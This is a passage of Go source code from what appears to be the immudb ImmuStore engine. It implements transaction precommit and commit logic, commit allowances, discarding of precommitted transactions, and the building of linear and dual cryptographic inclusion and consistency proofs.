hdr.ID-1)\n\t\tif errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\t\treturn nil, ErrAlreadyClosed\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar blRoot [sha256.Size]byte\n\n\t\tif hdr.BlTxID > 0 {\n\t\t\tblRoot, err = s.aht.RootAt(hdr.BlTxID)\n\t\t\tif err != nil && !errors.Is(err, ahtree.ErrEmptyTree) {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tif blRoot != hdr.BlRoot {\n\t\t\treturn nil, fmt.Errorf(\"%w: attempt to commit a tx with invalid blRoot\", ErrIllegalArguments)\n\t\t}\n\t}\n\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tcurrPrecomittedTxID, currPrecommittedAlh := s.precommittedAlh()\n\n\tvar ts int64\n\tvar blTxID uint64\n\tif hdr == nil {\n\t\tts = s.timeFunc().Unix()\n\t\tblTxID = s.aht.Size()\n\t} else {\n\t\tts = hdr.Ts\n\t\tblTxID = hdr.BlTxID\n\n\t\t// currTxID and currAlh were already checked before,\n\t\t// but we have to add an additional check once the commit mutex\n\t\t// is locked to ensure that those constraints are still valid\n\t\t// in case of simultaneous writers\n\t\tif currPrecomittedTxID > hdr.ID-1 {\n\t\t\treturn nil, ErrTxAlreadyCommitted\n\t\t}\n\n\t\tif currPrecomittedTxID < hdr.ID-1 {\n\t\t\treturn nil, fmt.Errorf(\"%w: attempt to commit a tx in wrong order\", ErrUnexpectedError)\n\t\t}\n\n\t\tif currPrecommittedAlh != hdr.PrevAlh {\n\t\t\treturn nil, fmt.Errorf(\"%w: attempt to commit a tx with invalid prevAlh\", ErrIllegalArguments)\n\t\t}\n\t}\n\n\tif otx.hasPreconditions() {\n\t\tvar waitForIndexingUpto uint64\n\n\t\tif otx.unsafeMVCC {\n\t\t\twaitForIndexingUpto = s.mandatoryMVCCUpToTxID\n\t\t} else {\n\t\t\t// Preconditions must be executed with up-to-date tree\n\t\t\twaitForIndexingUpto = currPrecomittedTxID\n\t\t}\n\n\t\terr = s.WaitForIndexingUpto(ctx, waitForIndexingUpto)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = otx.checkPreconditions(ctx, s)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = s.performPrecommit(tx, otx.entries, ts, blTxID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif otx.requireMVCCOnFollowingTxs {\n\t\ts.mandatoryMVCCUpToTxID = tx.header.ID\n\t}\n\n\treturn tx.Header(), err\n}\n\nfunc (s *ImmuStore) LastCommittedTxID() uint64 {\n\ts.commitStateRWMutex.RLock()\n\tdefer s.commitStateRWMutex.RUnlock()\n\n\treturn s.committedTxID\n}\n\nfunc (s *ImmuStore) LastPrecommittedTxID() uint64 {\n\ts.commitStateRWMutex.RLock()\n\tdefer s.commitStateRWMutex.RUnlock()\n\n\treturn s.inmemPrecommittedTxID\n}\n\nfunc (s *ImmuStore) MandatoryMVCCUpToTxID() uint64 {\n\ts.commitStateRWMutex.RLock()\n\tdefer s.commitStateRWMutex.RUnlock()\n\n\treturn s.mandatoryMVCCUpToTxID\n}\n\nfunc (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blTxID uint64) error {\n\ts.commitStateRWMutex.Lock()\n\tdefer s.commitStateRWMutex.Unlock()\n\n\t// limit the maximum number of pre-committed transactions\n\tif s.synced && s.committedTxID+uint64(s.maxActiveTransactions) <= s.inmemPrecommittedTxID {\n\t\treturn ErrMaxActiveTransactionsLimitExceeded\n\t}\n\n\t// will overwrite partially written and uncommitted data\n\terr := s.txLog.SetOffset(s.precommittedTxLogSize)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commit-log: could not set offset: %w\", err)\n\t}\n\n\ttx.header.ID = s.inmemPrecommittedTxID + 1\n\ttx.header.Ts = ts\n\n\ttx.header.BlTxID = blTxID\n\n\tif blTxID > 0 {\n\t\tblRoot, err := s.aht.RootAt(blTxID)\n\t\tif err != nil && !errors.Is(err, ahtree.ErrEmptyTree) {\n\t\t\treturn err\n\t\t}\n\t\ttx.header.BlRoot = blRoot\n\t}\n\n\tif tx.header.ID <= tx.header.BlTxID {\n\t\treturn ErrUnexpectedLinkingError\n\t}\n\n\ttx.header.PrevAlh = s.inmemPrecommittedAlh\n\n\ttxSize := 0\n\n\t// tx serialization into pre-allocated buffer\n\tbinary.BigEndian.PutUint64(s._txbs[txSize:], uint64(tx.header.ID))\n\ttxSize += txIDSize\n\tbinary.BigEndian.PutUint64(s._txbs[txSize:], uint64(tx.header.Ts))\n\ttxSize += tsSize\n\tbinary.BigEndian.PutUint64(s._txbs[txSize:], uint64(tx.header.BlTxID))\n\ttxSize += txIDSize\n\tcopy(s._txbs[txSize:], tx.header.BlRoot[:])\n\ttxSize += sha256.Size\n\tcopy(s._txbs[txSize:], tx.header.PrevAlh[:])\n\ttxSize += sha256.Size\n\n\tbinary.BigEndian.PutUint16(s._txbs[txSize:], uint16(tx.header.Version))\n\ttxSize += sszSize\n\n\tswitch tx.header.Version {\n\tcase 0:\n\t\t{\n\t\t\tbinary.BigEndian.PutUint16(s._txbs[txSize:], uint16(tx.header.NEntries))\n\t\t\ttxSize += sszSize\n\t\t}\n\tcase 1:\n\t\t{\n\t\t\tvar txmdbs []byte\n\n\t\t\tif tx.header.Metadata != nil {\n\t\t\t\ttxmdbs = tx.header.Metadata.Bytes()\n\t\t\t}\n\n\t\t\tbinary.BigEndian.PutUint16(s._txbs[txSize:], uint16(len(txmdbs)))\n\t\t\ttxSize += sszSize\n\n\t\t\tcopy(s._txbs[txSize:], txmdbs)\n\t\t\ttxSize += len(txmdbs)\n\n\t\t\tbinary.BigEndian.PutUint32(s._txbs[txSize:], uint32(tx.header.NEntries))\n\t\t\ttxSize += lszSize\n\t\t}\n\tdefault:\n\t\t{\n\t\t\tpanic(fmt.Errorf(\"missing tx serialization method for version %d\", tx.header.Version))\n\t\t}\n\t}\n\n\t// will overwrite partially written and uncommitted data\n\terr = s.txLog.SetOffset(s.precommittedTxLogSize)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%w: could not set offset in txLog\", err)\n\t}\n\n\t// total values length will be prefixed when values are embedded into txLog\n\ttxPrefixLen := 0\n\n\tif s.embeddedValues {\n\t\tembeddedValuesLen := 0\n\t\tfor _, e := range entries {\n\t\t\tembeddedValuesLen += len(e.Value)\n\t\t}\n\n\t\tvar embeddedValuesLenBs [sszSize]byte\n\t\tbinary.BigEndian.PutUint16(embeddedValuesLenBs[:], uint16(embeddedValuesLen))\n\n\t\t_, _, err := s.txLog.Append(embeddedValuesLenBs[:])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%w: writing transaction values\", err)\n\t\t}\n\n\t\toffsets, err := s.appendValuesInto(entries, s.txLog)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%w: writing transaction values\", err)\n\t\t}\n\n\t\tfor i := 0; i < tx.header.NEntries; i++ {\n\t\t\ttx.entries[i].vOff = offsets[i]\n\t\t}\n\n\t\ttxPrefixLen = sszSize + embeddedValuesLen\n\t}\n\n\tfor i := 0; i < tx.header.NEntries; i++ {\n\t\ttxe := tx.entries[i]\n\n\t\t// tx serialization using pre-allocated buffer\n\t\t// md is stored before key to ensure backward compatibility\n\t\tvar kvmdbs []byte\n\n\t\tif txe.md != nil {\n\t\t\tkvmdbs = txe.md.Bytes()\n\t\t}\n\n\t\tbinary.BigEndian.PutUint16(s._txbs[txSize:], uint16(len(kvmdbs)))\n\t\ttxSize += sszSize\n\t\tcopy(s._txbs[txSize:], kvmdbs)\n\t\ttxSize += len(kvmdbs)\n\t\tbinary.BigEndian.PutUint16(s._txbs[txSize:], uint16(txe.kLen))\n\t\ttxSize += sszSize\n\t\tcopy(s._txbs[txSize:], txe.k[:txe.kLen])\n\t\ttxSize += txe.kLen\n\t\tbinary.BigEndian.PutUint32(s._txbs[txSize:], uint32(txe.vLen))\n\t\ttxSize += lszSize\n\t\tbinary.BigEndian.PutUint64(s._txbs[txSize:], uint64(txe.vOff))\n\t\ttxSize += offsetSize\n\t\tcopy(s._txbs[txSize:], txe.hVal[:])\n\t\ttxSize += sha256.Size\n\t}\n\n\t// tx serialization using pre-allocated buffer\n\talh := tx.header.Alh()\n\n\tcopy(s._txbs[txSize:], alh[:])\n\ttxSize += sha256.Size\n\n\ttxbs := make([]byte, txSize)\n\tcopy(txbs, s._txbs[:txSize])\n\n\ttxOff, _, err := s.txLog.Append(txbs)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, _, err = s.txLogCache.Put(tx.header.ID, txbs)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.aht.ResetSize(s.inmemPrecommittedTxID)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, _, err = s.aht.Append(alh[:])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.cLogBuf.put(s.inmemPrecommittedTxID+1, alh, txOff, txSize)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.inmemPrecommittedTxID++\n\ts.inmemPrecommittedAlh = alh\n\ts.precommittedTxLogSize += int64(txPrefixLen + txSize)\n\n\ts.inmemPrecommitWHub.DoneUpto(s.inmemPrecommittedTxID)\n\n\tif !s.synced {\n\t\ts.durablePrecommitWHub.DoneUpto(s.inmemPrecommittedTxID)\n\n\t\treturn s.mayCommit()\n\t}\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) SetExternalCommitAllowance(enabled bool) {\n\ts.commitStateRWMutex.Lock()\n\tdefer s.commitStateRWMutex.Unlock()\n\n\ts.useExternalCommitAllowance = enabled\n\n\tif enabled {\n\t\ts.commitAllowedUpToTxID = s.committedTxID\n\t}\n}\n\n// DiscardPrecommittedTxsSince discard precommitted txs\n// No truncation is made into txLog which means, if the store is reopened\n// some precommitted transactions may be reloaded.\n// Discarding may need to be redone after re-opening the store.\nfunc (s *ImmuStore) DiscardPrecommittedTxsSince(txID uint64) (int, error) {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn 0, ErrAlreadyClosed\n\t}\n\n\ts.commitStateRWMutex.Lock()\n\tdefer s.commitStateRWMutex.Unlock()\n\n\tif txID == 0 {\n\t\treturn 0, fmt.Errorf(\"%w: invalid transaction ID\", ErrIllegalArguments)\n\t}\n\n\tif txID <= s.committedTxID {\n\t\treturn 0, fmt.Errorf(\"%w: only precommitted transactions can be discarded\", ErrIllegalArguments)\n\t}\n\n\tif txID > s.inmemPrecommittedTxID {\n\t\treturn 0, nil\n\t}\n\n\ttxsToDiscard := int(s.inmemPrecommittedTxID + 1 - txID)\n\n\terr := s.aht.ResetSize(s.aht.Size() - uint64(txsToDiscard))\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\t// s.cLogBuf inludes all precommitted transactions (even durable ones)\n\terr = s.cLogBuf.recedeWriter(txsToDiscard)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tdefer func() {\n\t\tdurablePrecommittedTxID, _, _ := s.durablePrecommitWHub.Status()\n\t\tif durablePrecommittedTxID > s.inmemPrecommittedTxID {\n\t\t\ts.durablePrecommitWHub.RecedeTo(s.inmemPrecommittedTxID)\n\t\t}\n\t}()\n\n\tif txID-1 == s.committedTxID {\n\t\ts.inmemPrecommittedTxID = s.committedTxID\n\t\ts.inmemPrecommittedAlh = s.committedAlh\n\t\treturn txsToDiscard, nil\n\t}\n\n\ttx, alh, _, _, err := s.cLogBuf.readAhead(int(s.inmemPrecommittedTxID-s.committedTxID-1) - txsToDiscard)\n\tif err != nil || tx != txID-1 {\n\t\ts.inmemPrecommittedTxID = s.committedTxID\n\t\ts.inmemPrecommittedAlh = s.committedAlh\n\t\ts.logger.Warningf(\"precommitted transactions has been discarded due to unexpected error in cLogBuf\")\n\t\treturn 0, err\n\t}\n\n\ts.inmemPrecommittedTxID = txID - 1\n\ts.inmemPrecommittedAlh = alh\n\n\treturn txsToDiscard, nil\n}\n\nfunc (s *ImmuStore) AllowCommitUpto(txID uint64) error {\n\ts.commitStateRWMutex.Lock()\n\tdefer s.commitStateRWMutex.Unlock()\n\n\tif !s.useExternalCommitAllowance {\n\t\treturn fmt.Errorf(\"%w: the external commit allowance mode is not enabled\", ErrIllegalState)\n\t}\n\n\tif txID <= s.commitAllowedUpToTxID {\n\t\t// once a commit is allowed, it cannot be revoked\n\t\treturn nil\n\t}\n\n\tif s.inmemPrecommittedTxID < txID {\n\t\t// commit allowances apply only to pre-committed transactions\n\t\ts.commitAllowedUpToTxID = s.inmemPrecommittedTxID\n\t} else {\n\t\ts.commitAllowedUpToTxID = txID\n\t}\n\n\tif !s.synced {\n\t\treturn s.mayCommit()\n\t}\n\n\treturn nil\n}\n\n// commitAllowedUpTo requires the caller to have already acquired the commitStateRWMutex lock\nfunc (s *ImmuStore) commitAllowedUpTo() uint64 {\n\tif !s.useExternalCommitAllowance {\n\t\treturn s.inmemPrecommittedTxID\n\t}\n\n\treturn s.commitAllowedUpToTxID\n}\n\n// commitAllowedUpTo requires the caller to have already acquired the commitStateRWMutex lock\nfunc (s *ImmuStore) mayCommit() error {\n\tcommitAllowedUpToTxID := s.commitAllowedUpTo()\n\ttxsCountToBeCommitted := int(commitAllowedUpToTxID - s.committedTxID)\n\n\tif txsCountToBeCommitted == 0 {\n\t\treturn nil\n\t}\n\n\t// will overwrite partially written and uncommitted data\n\terr := s.cLog.SetOffset(int64(s.committedTxID) * int64(s.cLogEntrySize))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar commitUpToTxID uint64\n\tvar commitUpToTxAlh [sha256.Size]byte\n\n\tfor i := 0; i < txsCountToBeCommitted; i++ {\n\t\ttxID, alh, txOff, txSize, err := s.cLogBuf.readAhead(i)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcb := make([]byte, s.cLogEntrySize)\n\t\tbinary.BigEndian.PutUint64(cb, uint64(txOff))\n\t\tbinary.BigEndian.PutUint32(cb[offsetSize:], uint32(txSize))\n\n\t\tif s.cLogEntrySize == cLogEntrySizeV2 {\n\t\t\tcopy(cb[offsetSize+lszSize:], alh[:])\n\t\t}\n\n\t\t_, _, err = s.cLog.Append(cb)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcommitUpToTxID = txID\n\t\tcommitUpToTxAlh = alh\n\t}\n\n\t// added as a safety fuse but this situation should NOT happen\n\tif commitUpToTxID != commitAllowedUpToTxID {\n\t\treturn fmt.Errorf(\"%w: may commit up to %d but actual transaction to be committed is %d\", ErrUnexpectedError, commitAllowedUpToTxID, commitUpToTxID)\n\t}\n\n\terr = s.cLog.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.cLogBuf.advanceReader(txsCountToBeCommitted)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.committedTxID = commitUpToTxID\n\ts.committedAlh = commitUpToTxAlh\n\n\ts.commitWHub.DoneUpto(commitUpToTxID)\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error), waitForIndexing bool) (*TxHeader, error) {\n\thdr, err := s.preCommitWith(ctx, callback)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// note: durability is ensured only if the store is in sync mode\n\terr = s.commitWHub.WaitFor(ctx, hdr.ID)\n\tif errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif waitForIndexing {\n\t\terr = s.WaitForIndexingUpto(ctx, hdr.ID)\n\n\t\t// header is returned because transaction is already committed\n\t\tif err != nil {\n\t\t\treturn hdr, err\n\t\t}\n\t}\n\n\treturn hdr, nil\n}\n\ntype KeyIndex interface {\n\tGet(ctx context.Context, key []byte) (valRef ValueRef, err error)\n\tGetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error)\n\tGetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error)\n\tGetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error)\n\tGetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error)\n}\n\ntype unsafeIndex struct {\n\tst *ImmuStore\n}\n\nfunc (index *unsafeIndex) Get(ctx context.Context, key []byte) (ValueRef, error) {\n\treturn index.GetWithFilters(ctx, key, IgnoreDeleted, IgnoreExpired)\n}\n\nfunc (index *unsafeIndex) GetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) {\n\treturn index.st.GetBetween(ctx, key, initialTxID, finalTxID)\n}\n\nfunc (index *unsafeIndex) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (ValueRef, error) {\n\treturn index.st.GetWithFilters(ctx, key, filters...)\n}\n\nfunc (index *unsafeIndex) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) {\n\treturn index.st.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreDeleted, IgnoreExpired)\n}\n\nfunc (index *unsafeIndex) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) {\n\treturn index.st.GetWithPrefixAndFilters(ctx, prefix, neq, filters...)\n}\n\nfunc (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) {\n\tif callback == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\totx, err := s.NewWriteOnlyTx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer otx.Cancel()\n\n\ts.indexersMux.RLock()\n\tdefer s.indexersMux.RUnlock()\n\n\tfor _, indexer := range s.indexers {\n\t\tindexer.Pause()\n\t\tdefer indexer.Resume()\n\t}\n\n\tlastPreCommittedTxID := s.LastPrecommittedTxID()\n\n\totx.entries, otx.preconditions, err = callback(lastPreCommittedTxID+1, &unsafeIndex{st: s})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(otx.entries) == 0 {\n\t\treturn nil, ErrNoEntriesProvided\n\t}\n\n\terr = s.validateEntries(otx.entries)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = s.validatePreconditions(otx.preconditions)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif otx.hasPreconditions() {\n\t\tfor _, indexer := range s.indexers {\n\t\t\tindexer.Resume()\n\t\t}\n\n\t\t// Preconditions must be executed with up-to-date tree\n\t\terr = s.WaitForIndexingUpto(ctx, lastPreCommittedTxID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = otx.checkPreconditions(ctx, s)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, indexer := range s.indexers {\n\t\t\tindexer.Pause()\n\t\t}\n\t}\n\n\ttx, err := s.fetchAllocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer s.releaseAllocTx(tx)\n\n\ttx.header.Version = s.writeTxHeaderVersion\n\ttx.header.NEntries = len(otx.entries)\n\n\tdoneWithValuesCh := make(chan appendableResult)\n\tdefer close(doneWithValuesCh)\n\n\tgo func() {\n\t\tif s.embeddedValues {\n\t\t\t// value write is delayed to ensure values are inmediatelly followed by the associated tx header\n\t\t\tdoneWithValuesCh <- appendableResult{nil, nil}\n\t\t\treturn\n\t\t}\n\n\t\toffsets, err := s.appendValuesIntoAnyVLog(otx.entries)\n\t\tif err != nil {\n\t\t\tdoneWithValuesCh <- appendableResult{nil, err}\n\t\t\treturn\n\t\t}\n\n\t\tdoneWithValuesCh <- appendableResult{offsets, nil}\n\t}()\n\n\tfor i, e := range otx.entries {\n\t\ttxe := tx.entries[i]\n\t\ttxe.setKey(e.Key)\n\t\ttxe.md = e.Metadata\n\t\ttxe.vLen = len(e.Value)\n\t\tif e.IsValueTruncated {\n\t\t\ttxe.hVal = e.HashValue\n\t\t} else {\n\t\t\ttxe.hVal = sha256.Sum256(e.Value)\n\t\t}\n\t}\n\n\terr = tx.BuildHashTree()\n\tif err != nil {\n\t\t<-doneWithValuesCh // wait for data to be written\n\t\treturn nil, err\n\t}\n\n\tvalueWritingResult := <-doneWithValuesCh // wait for data to be written\n\tif valueWritingResult.err != nil {\n\t\treturn nil, valueWritingResult.err\n\t}\n\n\tif !s.embeddedValues {\n\t\tfor i := 0; i < tx.header.NEntries; i++ {\n\t\t\ttx.entries[i].vOff = valueWritingResult.offsets[i]\n\t\t}\n\t}\n\n\terr = s.performPrecommit(tx, otx.entries, s.timeFunc().Unix(), s.aht.Size())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn tx.Header(), nil\n}\n\ntype DualProofV2 struct {\n\tSourceTxHeader   *TxHeader\n\tTargetTxHeader   *TxHeader\n\tInclusionProof   [][sha256.Size]byte\n\tConsistencyProof [][sha256.Size]byte\n}\n\ntype DualProof struct {\n\tSourceTxHeader     *TxHeader\n\tTargetTxHeader     *TxHeader\n\tInclusionProof     [][sha256.Size]byte\n\tConsistencyProof   [][sha256.Size]byte\n\tTargetBlTxAlh      [sha256.Size]byte\n\tLastInclusionProof [][sha256.Size]byte\n\tLinearProof        *LinearProof\n\tLinearAdvanceProof *LinearAdvanceProof\n}\n\nfunc (s *ImmuStore) DualProofV2(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualProofV2, err error) {\n\tif sourceTxHdr == nil || targetTxHdr == nil || sourceTxHdr.ID == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif sourceTxHdr.ID > targetTxHdr.ID {\n\t\treturn nil, ErrSourceTxNewerThanTargetTx\n\t}\n\n\tif sourceTxHdr.ID-1 != sourceTxHdr.BlTxID || targetTxHdr.ID-1 != targetTxHdr.BlTxID {\n\t\treturn nil, ErrUnexpectedLinkingError\n\t}\n\n\tproof = &DualProofV2{\n\t\tSourceTxHeader: sourceTxHdr,\n\t\tTargetTxHeader: targetTxHdr,\n\t}\n\n\tif sourceTxHdr.ID < targetTxHdr.ID {\n\t\tproof.InclusionProof, err = s.aht.InclusionProof(sourceTxHdr.ID, targetTxHdr.BlTxID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tproof.ConsistencyProof, err = s.aht.ConsistencyProof(maxUint64(1, sourceTxHdr.BlTxID), targetTxHdr.BlTxID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn proof, nil\n}\n\n// DualProof combines linear cryptographic linking i.e. transactions include the linear accumulative hash up to the previous one,\n// with binary cryptographic linking generated by appending the linear accumulative hash values into an incremental hash tree, whose\n// root is also included as part of each transaction and thus considered when calculating the linear accumulative hash.\n// The objective of this proof is the same as the linear proof, that is, generate data for the calculation of the accumulative\n// hash value of the target transaction from the linear accumulative hash value up to source transaction.\nfunc (s *ImmuStore) DualProof(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualProof, err error) {\n\tif sourceTxHdr == nil || targetTxHdr == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif sourceTxHdr.ID > targetTxHdr.ID {\n\t\treturn nil, ErrSourceTxNewerThanTargetTx\n\t}\n\n\tproof = &DualProof{\n\t\tSourceTxHeader: sourceTxHdr,\n\t\tTargetTxHeader: targetTxHdr,\n\t}\n\n\tif sourceTxHdr.ID < targetTxHdr.BlTxID {\n\t\tbinInclusionProof, err := s.aht.InclusionProof(sourceTxHdr.ID, targetTxHdr.BlTxID) // must match targetTx.BlRoot\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tproof.InclusionProof = binInclusionProof\n\t}\n\n\tif sourceTxHdr.BlTxID > targetTxHdr.BlTxID {\n\t\treturn nil, fmt.Errorf(\"%w: binary linking mismatch at tx %d\", ErrCorruptedTxData, sourceTxHdr.ID)\n\t}\n\n\tif sourceTxHdr.BlTxID > 0 {\n\t\t// first root sourceTx.BlRoot, second one targetTx.BlRoot\n\t\tbinConsistencyProof, err := s.aht.ConsistencyProof(sourceTxHdr.BlTxID, targetTxHdr.BlTxID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tproof.ConsistencyProof = binConsistencyProof\n\t}\n\n\tif targetTxHdr.BlTxID > 0 {\n\t\ttargetBlTxHdr, err := s.ReadTxHeader(targetTxHdr.BlTxID, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tproof.TargetBlTxAlh = targetBlTxHdr.Alh()\n\n\t\t// Used to validate targetTx.BlRoot is calculated with alh@targetTx.BlTxID as last leaf\n\t\tbinLastInclusionProof, err := s.aht.InclusionProof(targetTxHdr.BlTxID, targetTxHdr.BlTxID) // must match targetTx.BlRoot\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tproof.LastInclusionProof = binLastInclusionProof\n\t}\n\n\tlproof, err := s.LinearProof(maxUint64(sourceTxHdr.ID, targetTxHdr.BlTxID), targetTxHdr.ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tproof.LinearProof = lproof\n\n\tlaproof, err := s.LinearAdvanceProof(\n\t\tsourceTxHdr.BlTxID,\n\t\tminUint64(sourceTxHdr.ID, targetTxHdr.BlTxID),\n\t\ttargetTxHdr.BlTxID,\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tproof.LinearAdvanceProof = laproof\n\n\treturn\n}\n\ntype LinearProof struct {\n\tSourceTxID uint64\n\tTargetTxID uint64\n\tTerms      [][sha256.Size]byte\n}\n\n// LinearProof returns a list of hashes to calculate Alh@targetTxID from Alh@sourceTxID\nfunc (s *ImmuStore) LinearProof(sourceTxID, targetTxID uint64) (*LinearProof, error) {\n\tif sourceTxID == 0 || sourceTxID > targetTxID {\n\t\treturn nil, ErrSourceTxNewerThanTargetTx\n\t}\n\n\ttx, err := s.fetchAllocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer s.releaseAllocTx(tx)\n\n\tr, err := s.NewTxReader(sourceTxID, false, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx, err = r.Read()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tproof := make([][sha256.Size]byte, targetTxID-sourceTxID+1)\n\tproof[0] = tx.header.Alh()\n\n\tfor i := 1; i < len(proof); i++ {\n\t\ttx, err := r.Read()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tproof[i] = tx.Header().innerHash()\n\t}\n\n\treturn &LinearProof{\n\t\tSourceTxID: sourceTxID,\n\t\tTargetTxID: targetTxID,\n\t\tTerms:      proof,\n\t}, nil\n}\n\n// LinearAdvanceProof returns additional inclusion proof for part of the old linear proof consumed by\n// the new Merkle Tree\nfunc (s *ImmuStore) LinearAdvanceProof(sourceTxID, targetTxID uint64, targetBlTxID uint64) (*LinearAdvanceProof, error) {\n\tif targetTxID < sourceTxID {\n\t\treturn nil, ErrSourceTxNewerThanTargetTx\n\t}\n\n\tif targetTxID <= sourceTxID+1 {\n\t\treturn nil, nil // Additional proof is not needed\n\t}\n\n\ttx, err := s.fetchAllocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer s.releaseAllocTx(tx)\n\n\tr, err := s.NewTxReader(sourceTxID+1, false, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx, err = r.Read()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlinearProofTerms := make([][sha256.Size]byte, targetTxID-sourceTxID)\n\tlinearProofTerms[0] = tx.header.Alh()\n\n\tinclusionProofs := make([][][sha256.Size]byte, targetTxID-sourceTxID-1)\n\n\tfor txID := sourceTxID + 1; txID < targetTxID; txID++ {\n\t\tinclusionProof, err := s.aht.InclusionProof(txID, targetBlTxID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tinclusionProofs[txID-sourceTxID-1] = inclusionProof\n\n\t\ttx, err := r.Read()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tlinearProofTerms[txID-sourceTxID] = tx.Header().innerHash()\n\t}\n\n\treturn &LinearAdvanceProof{\n\t\tLinearProofTerms: linearProofTerms,\n\t\tInclusionProofs:  inclusionProofs,\n\t}, nil\n}\n\ntype LinearAdvanceProof struct {\n\tLinearProofTerms [][sha256.Size]byte\n\tInclusionProofs  [][][sha256.Size]byte\n}\n\nfunc (s *ImmuStore) txOffsetAndSize(txID uint64) (int64, int, error) {\n\tif txID == 0 {\n\t\treturn 0, 0, ErrIllegalArguments\n\t}\n\n\toff := int64(txID-1) * int64(s.cLogEntrySize)\n\n\tcb := make([]byte, s.cLogEntrySize)\n\n\t_, err := s.cLog.ReadAt(cb[:], int64(off))\n\tif errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) {\n\t\treturn 0, 0, ErrAlreadyClosed\n\t}\n\n\t// A partially readable commit record must be discarded -\n\t// - it is a result of incomplete commit-log write\n\t// and will be overwritten on the next commit\n\tif errors.Is(err, io.EOF) {\n\t\treturn 0, 0, ErrTxNotFound\n\t}\n\tif err != nil {\n\t\treturn 0, 